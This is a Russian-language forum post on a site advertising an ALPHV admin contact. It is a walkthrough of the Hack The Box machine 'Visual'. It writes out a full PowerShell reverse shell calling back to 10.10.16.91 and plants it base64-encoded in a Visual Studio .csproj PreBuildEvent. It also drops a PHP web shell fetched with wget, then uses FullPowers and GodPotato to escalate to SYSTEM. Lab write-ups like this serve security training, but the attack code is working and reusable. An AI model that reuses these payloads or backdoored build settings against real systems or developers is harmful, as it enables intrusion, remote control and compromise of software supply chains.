• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем сервер на Windows через проект Visual Studio

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как проникнуть на хост через бэкдор в настройках проекта Visual Studio. Затем получим сессию от имени службы веб‑сервера, активируем привилегию SeImpersonate и используем очередную «картошку» для выполнения кода от имени системы.
Наша цель — получение прав суперпользователя на машине Visual с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности машины — средний.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.234 visual.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта

Сканер нашел только один открытый порт — 80 (веб‑сервер Apache 2.4.56), что для Windows крайне нехарактерно. Давай взглянем на сайт, с которым нам предстоит работать.

Главная страница сайта
Главная страница сайта

Точка входа​

На сайте есть форма вставки URL и Git-репозиторий. Давай для теста запустим локальный веб‑сервер и посмотрим, что будет, если вставить в поле для ссылки его адрес.

python3 -m http.server 80
Мы получаем лог сборки проекта.

Лог сборки
Лог сборки
Логи веб-сервера
Логи веб‑сервера

На сайте указано, что используется язык разработки C# и среда Visual Studio, а значит, ожидается, что пользователь вставит адрес репозитория с проектом на C#. Давай подготовим такой репозиторий.

Поднимаем виртуалку с Windows и ставим Visual Studio. Теперь создадим простой консольный проект C# и скопируем его папку на свой основной хост.

Структура проекта Visual Studio
Структура проекта Visual Studio

Теперь нужно создать Git-репозиторий. Инициализировать пустой репозиторий можно командой git init в каталоге с проектом.

Создание Git-репозитория
Создание Git-репозитория

Теперь командой git add нужно добавить каталог проекта в репозиторий и создать коммит с любым именем, к примеру e1:

git commit -m e1
В конце обновляем информацию о сервере командой git update-server-info.

Добавление файлов в репозиторий
Добавление файлов в репозиторий

Когда все готово, в текущем каталоге снова запускаем веб‑сервер и отправляем адрес репозитория:

[URL unfurl="true"]http://10.10.16.91/.git[/URL]
Логи веб-сервера
Логи веб‑сервера
Логи сборки


Логи сборки


Сборка проекта прошла успешно, а значит, мы можем перейти к следующей стадии — получению удаленного выполнения кода.


Точка опоры​

Существует несколько способов выполнить код, манипулируя настройками сборки проектов Visual Studio. Обычно такие трюки применяют при целевых фишинговых атаках, направленных на разработчиков. Самый простой из них — это задания перед сборкой и после.

В блоке PropertyGroup можно объявить параметры PreBuildEvent и PostBuildEvent соответственно, которые указывают, какую команду нужно выполнить в системе. Запустим листенер:

rlwrap nc -nlvp 4321
И закодируем в Base64 следующий реверс‑шелл на PowerShell.

Код:
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.91",4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};
$client.Close()
Затем изменим файл с настройками проекта evil.csproj, добавив задания предсборки.

<PreBuildEvent>powershell -e JABjAGwAaQ.....AApAA==</PreBuildEvent>
Содержимое файла evil.csproj
Содержимое файла evil.csproj

Применим изменения в репозитории, выполним коммит и отправим ссылку на репозиторий заново.

git add evil/evil.csproj
git commit -m "e2"
git update-server-info
Фиксация изменений в Git
Фиксация изменений в Git
Логи сборки


Логи сборки


Получаем сообщение о том, что время ожидания истекло, при этом в окне листенера netcat появляется бэкконнект. Значит, у нас получилось попасть в систему!

Сессия в netcat


Сессия в netcat

Продвижение​

Сначала просматриваем домашние каталоги пользователей. Так, из обычных юзеров в системе есть только enox, с его рабочего стола и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Обрати внимание, что реверс‑шелл запущен из каталога с загруженными на веб‑сервер файлами. Просматривая корневой каталог веб‑сервера, находим и файлы самого сайта.

Содержимое каталога C:\xampp\htdocs
Содержимое каталога C:\xampp\htdocs

Вероятно, у этого пользователя есть привилегии на запись в каталог веб‑сервера. Проверить это очень просто, нужно лишь попытаться создать какой‑нибудь файл.

Запись файла test
Запись файла test

Файл успешно создан, а значит, можно загрузить на сервер веб‑шелл для выполнения команд и получить новую сессию от имени пользователя службы веб‑сервера. У этой учетки будут дополнительные привилегии в сравнении с учетными записями простых пользователей.

Записывать будем самый простой веб‑шелл на PHP. На локальной машине создадим файл с таким содержимым:

<?php system($_GET['c']); ?>
Теперь запустим веб‑сервер (python3 -m http.server -p 80) и скачаем шелл на удаленный хост.

wget 10.10.16.91/shell.txt -O C:\xampp\htdocs\rcmd.php
Теперь можно обращаться к веб‑шеллу через curl, к примеру выполнить команду whoami.

curl '[URL]http://visual.htb/rcmd.php?c=whoami[/URL]'
Результат выполнения команды whoami
Результат выполнения команды whoami

Давай снова запустим листенер и выполним тот же реверс‑шелл, что использовали раньше.

Сессия пользователя Local Service
Сессия пользователя Local Service

Получаем сессию в контексте Local Service и идем повышать привилегии.

Локальное повышение привилегий​

Учетные записи LOCAL SERVICE и NETWORK SERVICE настроены на запуск с ограниченным набором привилегий, чтобы при компрометации этих учетных записей атакующий не получал опасных привилегий SeAssignPrimaryToken и SeImpersonate.

whoami /all
Информация об учетной записи
Информация об учетной записи

Однако, если процесс создан службой планировщика задач, он Для просмотра ссылки Войди или Зарегистрируйся все привилегии, которые по умолчанию связаны с учетной записью.

Для автоматической эксплуатации воспользуемся утилитой Для просмотра ссылки Войди или Зарегистрируйся. Будем выполнять наш реверс‑шелл, но направим на другой порт.

.\fp.exe -c "powershell -e JABjAGw..."
Логи FullPowers
Логи FullPowers

На новый листенер прилетает сессия, и теперь у пользователя активны все нужные нам привилегии.

Новая сессия со всеми привилегиями
Новая сессия со всеми привилегиями

В том числе включена привилегия SeImpersonatePrivilege (право «олицетворять клиента после проверки подлинности»). Вот что о ней сказано в документации:

Присвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
Другими словами: эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить. Для этого используем последнюю на данный момент «картошку» — Для просмотра ссылки Войди или Зарегистрируйся. Снова выполняем реверс‑шелл и получаем сессию от имени SYSTEM.

.\gp.exe -cmd "powershell -e JABjAGwAaQ..."
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу